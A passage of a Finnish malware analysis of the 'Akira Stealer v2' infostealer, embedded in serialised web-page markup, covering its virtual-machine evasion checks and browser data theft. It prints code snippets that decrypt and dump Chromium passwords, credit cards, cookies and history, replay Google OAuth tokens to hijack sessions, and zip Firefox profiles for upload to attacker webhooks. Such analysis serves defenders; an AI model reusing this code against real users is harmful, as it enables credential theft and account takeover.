)\n",[1718,5995,5997],{"class":1720,"line":5996},60,[1718,5998,5521],{},[1718,6000,6002],{"class":1720,"line":6001},61,[1718,6003,5975],{},[1718,6005,6007],{"class":1720,"line":6006},62,[1718,6008,6009],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1718,6011,6013],{"class":1720,"line":6012},63,[1718,6014,5987],{},[1718,6016,6018],{"class":1720,"line":6017},64,[1718,6019,5993],{},[1718,6021,6023],{"class":1720,"line":6022},65,[1718,6024,6025],{},"    gpu = any(\n",[1718,6027,6029],{"class":1720,"line":6028},66,[1718,6030,6031],{},"        x.lower() in subprocess.run(\n",[1718,6033,6035],{"class":1720,"line":6034},67,[1718,6036,6037],{},"            \"wmic path win32_VideoController get name\",\n",[1718,6039,6041],{"class":1720,"line":6040},68,[1718,6042,5733],{},[1718,6044,6046],{"class":1720,"line":6045},69,[1718,6047,6048],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1718,6050,6052],{"class":1720,"line":6051},70,[1718,6053,6054],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1718,6056,6058],{"class":1720,"line":6057},71,[1718,6059,5993],{},[1718,6061,6063],{"class":1720,"line":6062},72,[1718,6064,6065],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1718,6067,6069],{"class":1720,"line":6068},73,[1718,6070,6071],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1718,6073,6075],{"class":1720,"line":6074},74,[1718,6076,3889],{"emptyLinePlaceholder":325},[1718,6078,6080],{"class":1720,"line":6079},75,[1718,6081,5015],{},[1718,6083,6085],{"class":1720,"line":6084},76,[1718,6086,5595],{},[1718,6088,6090],{"class":1720,"line":6089},77,[1718,6091,6092],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1718,6094,6096],{"class":1720,"line":6095},78,[1718,6097,5600],{},[897,6099,6101],{"id":6100},"_7313-suoritus-ja-keskeytyslogiikka","7.3.13 Suoritus- ja keskeytyslogiikka",[526,6103,903],{},[738,6105,6106,6119,6132],{},[634,6107,6108,2063,6111,6114,6115,6118],{},[568,6109,6110],{},"Alustus:",[579,6112,6113],{},"Akira.__init__()","-konstruktorissa haittaohjelma kutsuu välittömästi ",[579,6116,6117],{},"VmProtect.isVM(1)","-funktiota suorittaakseen nopeat, kevyet virtualisointitarkistukset (esim. hostname, käyttäjä, HTTPS-simulaatio).",[634,6120,6121,6124,6125,6128,6129,6131],{},[568,6122,6123],{},"Syvä tarkastus:"," Jos ensimmäinen testi läpäistään, se kutsuu ",[579,6126,6127],{},"VmProtect.isVM(2)","-funktiota, mikä laukaisee kattavammat tarkistukset, mukaan lukien laitteiston UUID:n validointi, hosting-havaitseminen ",[579,6130,5361],{},"-palvelun kautta ja rekisteriartefaktien skannaus.",[634,6133,6134,6137,6138,6140,6141,6143],{},[568,6135,6136],{},"Keskeytyspolku:"," Jos jokin tarkistus palauttaa ",[579,6139,4705],{}," ja osoittaa siten virtuaali- tai analyysiympäristöä, koodi suorittaa ",[579,6142,4709],{},"-funktion ja päättää suorituksen ennen datankeruu- tai exfiltraatiorutiineja.",[897,6145,6147],{"id":6146},"_7314-johtopäätös","7.3.14 Johtopäätös",[526,6149,903],{},[526,6151,6152,6154,6155,6157,6160],{},[579,6153,4653],{},"-moduuli ",[4666,6156,677],{},[6158,6159],"ssa",{}," osoittaa kerroksellista puolustusta analyysiä vastaan hyödyntäen sekä paikallisen järjestelmän sormenjälkiä että verkkopohjaisia heuristiikkoja. Kun puolustajat ymmärtävät ja instrumentoivat näitä täsmällisiä tarkistuksia, he voivat kääntää asetelman ja havaita tällaisia välttelevia haittaohjelmia operatiivisissa ympäristöissä.",[748,6162,6164],{"id":6163},"_74-selaindatan-exfiltraatio","7.4 Selaindatan exfiltraatio",[526,6166,754],{},[526,6168,6169,6170,6173,6174,6177],{},"Yksi Akira Stealer v2:n ydintavoitteista on selaimeen tallennetun arkaluonteisen datan laajamittainen poiminta. Haittaohjelma toteuttaa räätälöityjä moduuleja, jotka kohdistuvat sekä ",[568,6171,6172],{},"Chromium-pohjaisiin"," että ",[568,6175,6176],{},"Gecko-pohjaisiin (Firefox)"," selaimiin. Sen kyvykkyyksiin kuuluu tallennettujen salasanojen, evästeiden, luottokorttitietojen, automaattisen täytön merkintöjen ja jopa istuntotokenien poiminta ja salauksen purku, ja näitä tokeneja voidaan käyttää uudelleen täyteen tilin kaappaukseen.",[526,6179,6180],{},[568,6181,6182],{},"1. Työtilan pystytys",[616,6184,6186],{"className":4529,"code":6185,"language":4531,"meta":530,"style":530},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[579,6187,6188,6193,6198,6203],{"__ignoreMap":530},[1718,6189,6190],{"class":1720,"line":1721},[1718,6191,6192],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1718,6194,6195],{"class":1720,"line":531},[1718,6196,6197],{},"os.makedirs(client_dir, exist_ok=True)\n",[1718,6199,6200],{"class":1720,"line":2102},[1718,6201,6202],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1718,6204,6205],{"class":1720,"line":2108},[1718,6206,6207],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[631,6209,6210,6217,6220,6223,6226],{},[634,6211,6212,6213],{},"Luo kertakäyttöisen vaiheistusalueen järjestelmän väliaikaishakemiston alle, uhrin koneen mukaan nimettynä (%TEMP%\\DESKTOP-",[6214,6215,6216],"hostname",{},"), mikä varmistaa, että kaikki exfiltroidut artefaktit kootaan yhteen helposti arkistoitavaan sijaintiin.",[634,6218,6219],{},"Eristää datan tyypeittäin: kuusi omaa alikansiota (Passwords, Cookies, CreditCards, History, Autofill, Wallets) estävät nimeämiskonfliktit ja yksinkertaistavat myöhempää zippaamista—jokainen poimintarutiini kirjoittaa vain omaan kansioonsa.",[634,6221,6222],{},"Idempotentti hakemiston luonti käyttää exist_ok=True -asetusta, joten jos haittaohjelma suoritetaan uudelleen (esim. uudelleenkäynnistyksen tai persistencen yhteydessä), se ei kaadu eikä ylikirjoita olemassa olevaa dataa—uudet kohteet vain lisätään samaan rakenteeseen.",[634,6224,6225],{},"Helpottaa valikoivaa siivousta: kun lataus ja ilmoitus ovat valmiit, stealer voi kutsua Utils.clear_client_folder()-funktiota poistaakseen rekursiivisesti vain oman työtilansa jättämättä jälkitiedostoja.",[634,6227,6228],{},"Luo pohjan rinnakkaisille poimintasäikeille: esiluomalla kaikki kohteet taustasäikeet, jotka keräävät selaimien tunnistetietoja, evästeitä, automaattisen täytön tietoja, kryptolompakkodataa jne., voivat kirjoittaa tulokset välittömästi ilman lisätarkistuksia, mikä minimoi yleiskustannukset ja pienentää ikkunaa, jossa puolustavat koukut voisivat havaita odottamattoman tiedosto-I/O:n.",[526,6230,6231],{},[568,6232,6233],{},"2. Tuetut selaimet",[631,6235,6236,6279],{},[634,6237,6238,6241],{},[568,6239,6240],{},"Chromium‑pohjaiset",[631,6242,6243,6246,6249,6252,6255,6258,6261,6264,6267,6270,6273,6276],{},[634,6244,6245],{},"Google Chrome (Stable & SxS)",[634,6247,6248],{},"Microsoft Edge",[634,6250,6251],{},"Brave Browser",[634,6253,6254],{},"Opera & Opera GX",[634,6256,6257],{},"Chromium",[634,6259,6260],{},"Comodo Dragon",[634,6262,6263],{},"Epic Privacy Browser",[634,6265,6266],{},"Iridium Browser",[634,6268,6269],{},"UR Browser",[634,6271,6272],{},"Vivaldi Browser",[634,6274,6275],{},"Yandex Browser",[634,6277,6278],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[634,6280,6281,6284,6285,6288,6289,6300,6302,6303,6312,6314,6315,647,6318,6321],{},[568,6282,6283],{},"Firefox‑pohjaiset"," (",[579,6286,6287],{},"GeckoDriver","-työkalun kautta)",[631,6290,6291,6294,6297],{},[634,6292,6293],{},"Mozilla Firefox",[634,6295,6296],{},"Waterfox",[634,6298,6299],{},"Pale Moon",[728,6301],{},"Akira paikantaa käyttäjäprofiilit dynaamisesti ympäristömuuttujien ja tunnettujen hakemistorakenteiden avulla:",[616,6304,6306],{"className":4529,"code":6305,"language":4531,"meta":530,"style":530},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[579,6307,6308],{"__ignoreMap":530},[1718,6309,6310],{"class":1720,"line":1721},[1718,6311,6305],{},[728,6313],{},"Se tarkistaa rekursiivisesti saatavilla olevat selainprofiilit (esim. ",[579,6316,6317],{},"Default",[579,6319,6320],{},"Profile 1"," jne.) ja kohdistuu näiden polkujen sisällä oleviin SQLite-tietokantoihin.",[897,6323,6325],{"id":6324},"_741-poimitut-datatyypit","7.4.1 Poimitut datatyypit",[526,6327,903],{},[1430,6329,4719,6330],{},[1446,6331,6332,4719,6345,4719,6358,4719,6371,4719,6383,4719,6395,4719,6406],{},[1436,6333,4724,6334,4724,6338,4724,6342,4719],{},[1439,6335,6337],{"style":6336},"text-align: left; width: 22%;","Datatyyppi",[1439,6339,6341],{"style":6340},"text-align: left; width: 28%;","Lähdetiedosto",[1439,6343,6344],{},"Huomautukset",[1436,6346,4724,6347,4724,6350,4724,6355,4719],{},[1451,6348,6349],{},"Tallennetut salasanat",[1451,6351,6352,6354],{},[579,6353,585],{}," (Chromium)",[1451,6356,6357],{},"Puretaan DPAPI:n tai AES-GCM:n avulla (Chromium v80:n jälkeen)",[1436,6359,4724,6360,4724,6363,4724,6368,4719],{},[1451,6361,6362],{},"Evästeet",[1451,6364,6365],{},[579,6366,6367],{},"Cookies",[1451,6369,6370],{},"Voivat sisältää istuntotokeneja, erityisesti Google-/Facebook-tileille",[1436,6372,4724,6373,4724,6376,4724,6380,4719],{},[1451,6374,6375],{},"Automaattisen täytön data",[1451,6377,6378],{},[579,6379,589],{},[1451,6381,6382],{},"Osoitteet, sähköpostit, puhelinnumerot jne.",[1436,6384,4724,6385,4724,6388,4724,6392,4719],{},[1451,6386,6387],{},"Luottokortit",[1451,6389,6390],{},[579,6391,589],{},[1451,6393,6394],{},"Salattu; vaatii pääavaimen",[1436,6396,4724,6397,4724,6400,4724,6403,4719],{},[1451,6398,6399],{},"Istuntotokenit",[1451,6401,6402],{},"Muistissa ja evästeissä",[1451,6404,6405],{},"Sisältää Gmailin, Google-tilit ja Discord OAUTH -replayn",[1436,6407,4724,6408,4724,6411,4724,6419,4719],{},[1451,6409,6410],{},"Historia ja URL:t",[1451,6412,6413,647,6416],{},[579,6414,6415],{},"History",[579,6417,6418],{},"Visited Links",[1451,6420,6421],{},"Exfiltroitiin nekin hyökkääjälle",[862,6423],{"className":6424},[865,866],[526,6426,6427,6430],{},[568,6428,6429],{},"3. Poimintamoduulit","\nKun haittaohjelmien tekijät kohdistavat toimintansa selaimiin, heidän ensisijaisia aarrearkkujaan ovat erilaiset SQLite-tietokannat, joihin Chrome, Firefox ja niiden sukulaiset tallentavat tunnistetiedot, evästeet, historian ja automaattisen täytön merkinnät. astor.py yhdistää kevyen Pythonin ja natiivit API-rajapinnat kootakseen järjestelmällisesti jokaisen datapalasen—ja jopa toistaakseen live-OAuth-istuntoja—jälkiä jättämättä. Alla on perusteellinen, moduuli moduulilta etenevä kierros, sanatarkasti koodista.",[897,6432,6434,6435,1149],{"id":6433},"_742-salasanadumppaaja-chromiumgetpasswords","7.4.2 Salasanadumppaaja (",[579,6436,6437],{},"Chromium.GetPasswords",[526,6439,903],{},[526,6441,6442],{},"Tämä moduuli käy järjestelmällisesti läpi kaikki Chromium-pohjaisten selaimien profiilit poimiakseen tallennetut kirjautumistiedot. Kohdistumalla Login Data -SQLite-tietokantaan se hakee käyttäjätunnukset ja salatut salasanat ja purkaa ne sitten selkokielisiksi alustan salausavaimella (haettu DPAPI:n tai AES-GCM:n kautta). Nämä tunnistetiedot ovat erittäin arvokkaita murron jälkeisessä sivuttaisliikkeessä tai tilin haltuunotossa.",[616,6444,6446],{"className":4529,"code":6445,"language":4531,"meta":530,"style":530},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[579,6447,6448,6453,6458,6463,6468,6473,6478,6483,6488,6493],{"__ignoreMap":530},[1718,6449,6450],{"class":1720,"line":1721},[1718,6451,6452],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1718,6454,6455],{"class":1720,"line":531},[1718,6456,6457],{},"    for file in files:\n",[1718,6459,6460],{"class":1720,"line":2102},[1718,6461,6462],{},"        if file.lower() == \"login data\":\n",[1718,6464,6465],{"class":1720,"line":2108},[1718,6466,6467],{},"            # Copy DB → open → extract rows\n",[1718,6469,6470],{"class":1720,"line":2432},[1718,6471,6472],{},"            results = cursor.execute(\n",[1718,6474,6475],{"class":1720,"line":2438},[1718,6476,6477],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1718,6479,6480],{"class":1720,"line":3096},[1718,6481,6482],{},"            ).fetchall()\n",[1718,6484,6485],{"class":1720,"line":3892},[1718,6486,6487],{},"            for url, user, pwd_blob in results:\n",[1718,6489,6490],{"class":1720,"line":3898},[1718,6491,6492],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1718,6494,6495],{"class":1720,"line":4144},[1718,6496,6497],{},"                passwords.append((url, user, clear_pwd))\n",[631,6499,6500,6513,6519,6527,6544],{},[634,6501,6502,6505,6506,6508,6509,6512],{},[568,6503,6504],{},"Paikantaa"," jokaisen ",[579,6507,585],{}," -SQLite-tietokannan selaimen ",[579,6510,6511],{},"User Data"," -kansion alta.",[634,6514,6515,6518],{},[568,6516,6517],{},"Kopioi"," väliaikaistiedostoon välttääkseen selaimen lukot.",[634,6520,6521,1008,6524,726],{},[568,6522,6523],{},"SQL-kysely",[579,6525,6526],{},"SELECT origin_url, username_value, password_value FROM logins",[634,6528,6529,6505,6532,6535,6536,6539,6540,6543],{},[568,6530,6531],{},"Purkaa",[579,6533,6534],{},"password_value","-möykyn salauksen AES‑GCM:llä (",[579,6537,6538],{},"v10","/",[579,6541,6542],{},"v11",") tai Windowsin DPAPI-varajärjestelyllä.",[634,6545,6546,6549,6550,726],{},[568,6547,6548],{},"Kirjoittaa"," tulosteen tiedostoon ",[579,6551,6552],{},"Passwords/\u003CBrowserName> Passwords.txt",[897,6554,6556,6557,1149],{"id":6555},"_743-luottokorttidumppaaja-chromiumgetcreditcards","7.4.3 Luottokorttidumppaaja (",[579,6558,6559],{},"Chromium.GetCreditCards",[526,6561,903],{},[526,6563,6564],{},"Tässä stealer avaa tallennetut luottokorttitiedot jokaisen selainprofiilin Web Data -tiedostosta. Se keskittyy poimimaan voimassaolotiedot ja salatut luottokorttinumerot, jotka puretaan sitten samalla logiikalla kuin salasanat. Vaikka CVV-koodeja ei tyypillisesti tallenneta, palautettuja tietoja voidaan silti väärinkäyttää card-not-present-petoksiin.",[616,6566,6568],{"className":4529,"code":6567,"language":4531,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[579,6569,6570,6575,6580,6585,6590,6595],{"__ignoreMap":530},[1718,6571,6572],{"class":1720,"line":1721},[1718,6573,6574],{},"results = cursor.execute(\n",[1718,6576,6577],{"class":1720,"line":531},[1718,6578,6579],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1718,6581,6582],{"class":1720,"line":2102},[1718,6583,6584],{},").fetchall()\n",[1718,6586,6587],{"class":1720,"line":2108},[1718,6588,6589],{},"for month, year, enc_cc in results:\n",[1718,6591,6592],{"class":1720,"line":2432},[1718,6593,6594],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1718,6596,6597],{"class":1720,"line":2438},[1718,6598,6599],{},"    ccs.append((cc_number, month, year))\n",[631,6601,6602,6611,6618,6626],{},[634,6603,6604,6607,6608,6610],{},[568,6605,6606],{},"Kohdistuu"," jokaisen profiilin alla oleviin ",[579,6609,589],{}," -SQLite-varastoihin.",[634,6612,6613,1008,6615,726],{},[568,6614,6523],{},[579,6616,6617],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[634,6619,6620,2063,6622,6625],{},[568,6621,6531],{},[579,6623,6624],{},"card_number_encrypted","-kentän täsmälleen kuten salasanamöykyt.",[634,6627,6628,6631,6632,726],{},[568,6629,6630],{},"Tulostaa"," tiedostoon ",[579,6633,6634],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[897,6636,6638,6639,1149],{"id":6637},"_744-evästedumppaaja-chromiumgetcookies","7.4.4 Evästedumppaaja (",[579,6640,6641],{},"Chromium.GetCookies",[526,6643,903],{},[526,6645,6646],{},"Evästeet, erityisesti istuntoevästeet, ovat ensisijaisia kohteita tilin kaappaukseen ilman salasanoja. Tämä moduuli dumppaa kaikki evästetiedostot profiileista, purkaa niiden salauksen ja kerää olennaiset metatiedot, kuten verkkotunnuksen, nimen ja voimassaolon. Sormenjälkien kanssa yhdistettynä nämä evästeet voivat mahdollistaa saumattomat replay-hyökkäykset todennettuihin palveluihin.",[616,6648,6650],{"className":4529,"code":6649,"language":4531,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[579,6651,6652,6656,6661,6665,6670,6675],{"__ignoreMap":530},[1718,6653,6654],{"class":1720,"line":1721},[1718,6655,6574],{},[1718,6657,6658],{"class":1720,"line":531},[1718,6659,6660],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1718,6662,6663],{"class":1720,"line":2102},[1718,6664,6584],{},[1718,6666,6667],{"class":1720,"line":2108},[1718,6668,6669],{},"for host, name, path, blob, expiry in results:\n",[1718,6671,6672],{"class":1720,"line":2432},[1718,6673,6674],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1718,6676,6677],{"class":1720,"line":2438},[1718,6678,6679],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[631,6681,6682,6690,6699,6707],{},[634,6683,6684,6505,6687,6689],{},[568,6685,6686],{},"Skannaa",[579,6688,6367],{}," -SQLite-tietokannan.",[634,6691,6692,6695,6696,726],{},[568,6693,6694],{},"Valitsee"," kentät ",[579,6697,6698],{},"host_key, name, path, encrypted_value, expires_utc",[634,6700,6701,6505,6703,6706],{},[568,6702,6531],{},[579,6704,6705],{},"encrypted_value","-möykyn paljastaakseen varsinaisen evästemerkkijonon.",[634,6708,6709,6631,6712,726],{},[568,6710,6711],{},"Tallentaa",[579,6713,6714],{},"Cookies/\u003CBrowserName> Cookies.txt",[897,6716,6718,6719,1149],{"id":6717},"_745-google-istuntodumppaaja-chromiumdump_google_sessions","7.4.5 Google-istuntodumppaaja (",[579,6720,6721],{},"Chromium.dump_google_sessions",[526,6723,903],{},[526,6725,6726],{},"Yksi kehittyneemmistä komponenteista, tämä rutiini purkaa token_service-taulusta tallennetut OAuth-tokenit. Toistamalla ne Googlen multilogin-päätepisteen kautta haittaohjelma voi regeneroida aktiivisia istuntoevästeitä—jolloin hyökkääjät voivat kaapata Google-tilejä ilman tunnistetietoja. Tämä havainnollistaa, miten pääsytokeneista on tullut ensisijaisia kohteita nykyaikaisissa stealereissa.",[616,6728,6730],{"className":4529,"code":6729,"language":4531,"meta":530,"style":530},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[579,6731,6732,6737,6742,6747,6752,6757,6762,6767,6772,6777,6782,6787,6791],{"__ignoreMap":530},[1718,6733,6734],{"class":1720,"line":1721},[1718,6735,6736],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1718,6738,6739],{"class":1720,"line":531},[1718,6740,6741],{},"for service, blob in cursor.fetchall():\n",[1718,6743,6744],{"class":1720,"line":2102},[1718,6745,6746],{},"    iv = blob[3:15]\n",[1718,6748,6749],{"class":1720,"line":2108},[1718,6750,6751],{},"    ciphertext = blob[15:-16]\n",[1718,6753,6754],{"class":1720,"line":2432},[1718,6755,6756],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1718,6758,6759],{"class":1720,"line":2438},[1718,6760,6761],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1718,6763,6764],{"class":1720,"line":3096},[1718,6765,6766],{},"    # Replays via POST to OAuth endpoint\n",[1718,6768,6769],{"class":1720,"line":3892},[1718,6770,6771],{},"    response = requests.post(\n",[1718,6773,6774],{"class":1720,"line":3898},[1718,6775,6776],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1718,6778,6779],{"class":1720,"line":4144},[1718,6780,6781],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1718,6783,6784],{"class":1720,"line":5063},[1718,6785,6786],{},"        data={\"source\": \"com.google.Drive\"}\n",[1718,6788,6789],{"class":1720,"line":5069},[1718,6790,5993],{},[1718,6792,6793],{"class":1720,"line":5075},[1718,6794,6795],{},"    save each account’s cookies to file\n",[631,6797,6798,6814,6824,6834],{},[634,6799,6800,2063,6803,6806,6807,6810,6811,6813],{},[568,6801,6802],{},"Hakee",[579,6804,6805],{},"service","-kentän ja raa'an ",[579,6808,6809],{},"encrypted_token","-arvon ",[579,6812,589],{},"-kloonista.",[634,6815,6816,6819,6820,6823],{},[568,6817,6818],{},"AES‑GCM-salauksenpurku"," selaimen ",[579,6821,6822],{},"Local State"," -avaimella.",[634,6825,6826,6829,6830,6833],{},[568,6827,6828],{},"Toistaa"," puretut tokenit POST-pyyntönä Googlen ",[579,6831,6832],{},"multilogin","-API:in kelvollisten OAuth-evästeiden rekonstruoimiseksi.",[634,6835,6836,6838,6839,726],{},[568,6837,6548],{}," tilikohtaiset istuntotiedostot polkuun ",[579,6840,6841],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[897,6843,6845,6846,1149],{"id":6844},"_746-historiadumppaaja-chromiumgethistory","7.4.6 Historiadumppaaja (",[579,6847,6848],{},"Chromium.GetHistory",[526,6850,903],{},[526,6852,6853],{},"Tämä funktio poimii selaushistorian merkinnät, mukaan lukien URL:n, otsikon ja käyntitiheyden. Yksityisyyden loukkauksen lisäksi tämä data auttaa hyökkääjiä ymmärtämään uhrin käyttäytymistä, tunnistamaan arvokkaita kohteita (esim. pankkiportaalit) tai räätälöimään sosiaalisen manipuloinnin payloadeja.",[616,6855,6857],{"className":4529,"code":6856,"language":4531,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[579,6858,6859,6863,6868,6872,6877],{"__ignoreMap":530},[1718,6860,6861],{"class":1720,"line":1721},[1718,6862,6574],{},[1718,6864,6865],{"class":1720,"line":531},[1718,6866,6867],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1718,6869,6870],{"class":1720,"line":2102},[1718,6871,6584],{},[1718,6873,6874],{"class":1720,"line":2108},[1718,6875,6876],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1718,6878,6879],{"class":1720,"line":2432},[1718,6880,6881],{},"return [(url, title, count) for url, title, count, _ in history]\n",[631,6883,6884,6895,6905],{},[634,6885,6886,6695,6888,6891,6892,6894],{},[568,6887,6694],{},[579,6889,6890],{},"url, title, visit_count, last_visit_time"," jokaisesta ",[579,6893,6415],{},"-tietokannasta.",[634,6896,6897,6900,6901,6904],{},[568,6898,6899],{},"Lajittelee"," merkinnät ",[579,6902,6903],{},"last_visit_time","-kentän mukaan laskevasti.",[634,6906,6907,6909,6910,726],{},[568,6908,6630],{}," tiedoston ",[579,6911,6912],{},"History/\u003CBrowserName> History.txt",[897,6914,6916,6917,1149],{"id":6915},"_747-automaattisen-täytön-dumppaaja-chromiumgetautofills","7.4.7 Automaattisen täytön dumppaaja (",[579,6918,6919],{},"Chromium.GetAutofills",[526,6921,903],{},[526,6923,6924],{},"Automaattisen täytön merkinnät—kuten osoitteet, nimet, sähköpostit ja joskus maksuihin liittyvä data—kaavitaan selaimen Web Data -varastosta. Nämä arvot eivät ehkä vaikuta kriittisiltä, mutta yhteen koottuina ne tarjoavat rikkaan profiilin uhrin identiteetistä ja käyttäytymisestä.",[616,6926,6928],{"className":4529,"code":6927,"language":4531,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[579,6929,6930,6934,6939,6943,6948],{"__ignoreMap":530},[1718,6931,6932],{"class":1720,"line":1721},[1718,6933,6574],{},[1718,6935,6936],{"class":1720,"line":531},[1718,6937,6938],{},"    \"SELECT name, value FROM autofill\"\n",[1718,6940,6941],{"class":1720,"line":2102},[1718,6942,6584],{},[1718,6944,6945],{"class":1720,"line":2108},[1718,6946,6947],{},"for field, value in results:\n",[1718,6949,6950],{"class":1720,"line":2432},[1718,6951,6952],{},"    autofills.append((field.strip(), value.strip()))\n",[631,6954,6955,6967],{},[634,6956,6957,6959,6960,2063,6963,6966],{},[568,6958,6802],{}," lomakkeentäyttömerkinnät: ",[579,6961,6962],{},"name, value",[579,6964,6965],{},"web data","-tiedostosta.",[634,6968,6969,6971,6972,726],{},[568,6970,6548],{}," ulos tiedostoon ",[579,6973,6974],{},"Autofill/\u003CBrowserName> Autofill.txt",[897,6976,6978,6979,6981,6982,1149],{"id":6977},"_748-firefox-profiilin-sieppaaja-geckodriver-grabfirefoxprofiles","7.4.8 Firefox-profiilin sieppaaja (",[579,6980,6287],{}," & ",[579,6983,6984],{},"grabFirefoxProfiles",[526,6986,903],{},[526,6988,6989],{},"Toisin kuin yksityiskohtaiset Chromium-rutiinit, tämä funktio valitsee laajan lähestymistavan: se pakkaa koko Firefox-profiilihakemiston—mukaan lukien tallennetut kirjautumistiedot, evästeet ja kirjanmerkit—ja exfiltroi sen kokonaisuudessaan. Tämä varmistaa, että hyökkääjät voivat analysoida tai poimia dataa offline-tilassa ohittaen salauksenpurkuesteet tunnetulla NSS-työkaluilla.",[616,6991,6993],{"className":4529,"code":6992,"language":4531,"meta":530,"style":530},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[579,6994,6995,7000,7005,7010],{"__ignoreMap":530},[1718,6996,6997],{"class":1720,"line":1721},[1718,6998,6999],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1718,7001,7002],{"class":1720,"line":531},[1718,7003,7004],{},"    for root, dirs, files in os.walk(source_path):\n",[1718,7006,7007],{"class":1720,"line":2102},[1718,7008,7009],{},"        zipf.write(each file)\n",[1718,7011,7012],{"class":1720,"line":2108},[1718,7013,7014],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[631,7016,7017,7027,7037],{},[634,7018,7019,7022,7023,7026],{},[568,7020,7021],{},"Zippaa"," koko ",[579,7024,7025],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles"," -hakemiston.",[634,7028,7029,7032,7033,7036],{},[568,7030,7031],{},"Nimeää"," sen ",[579,7034,7035],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," ja lähettää latauslinkin samojen webhook-kanavien kautta.",[634,7038,7039,7042,7043,647,7046,647,7049,7052],{},[568,7040,7041],{},"Kutsuu"," myös samoja SQLite-pohjaisia poimintafunktioita (",[579,7044,7045],{},"logins.json",[579,7047,7048],{},"cookies.sqlite",[579,7050,7051],{},"places.sqlite",") jokaista Firefox-profiilia vastaan käyttäen jo olemassa olevia NSS-salauksenpurkurutiineja.",[897,7054,7056],{"id":7055},"_749-poiminnan-yhteenveto","7.4.9 Poiminnan yhteenveto",[526,7058,903],{},[526,7060,7061,7062,647,7064,647,7066,647,7068,1291,7070,7073,7074,7077,7078,7080,7081,647,7083,1291,7085,7087,7088,7091],{},"Astor.py orkestroi kattavan selainmurron keräämällä järjestelmällisesti jokaisen tunnistetiedon ja istuntoartefaktin Chromium-pohjaisista ja Firefox-asiakkaista. Se paikantaa ja kopioi turvallisesti jokaisen SQLite-varaston—",[579,7063,585],{},[579,7065,589],{},[579,7067,6367],{},[579,7069,6415],{},[579,7071,7072],{},"autofill","—ja suorittaa sitten kohdennettuja SQL-kyselyjä poimiakseen URL:t, 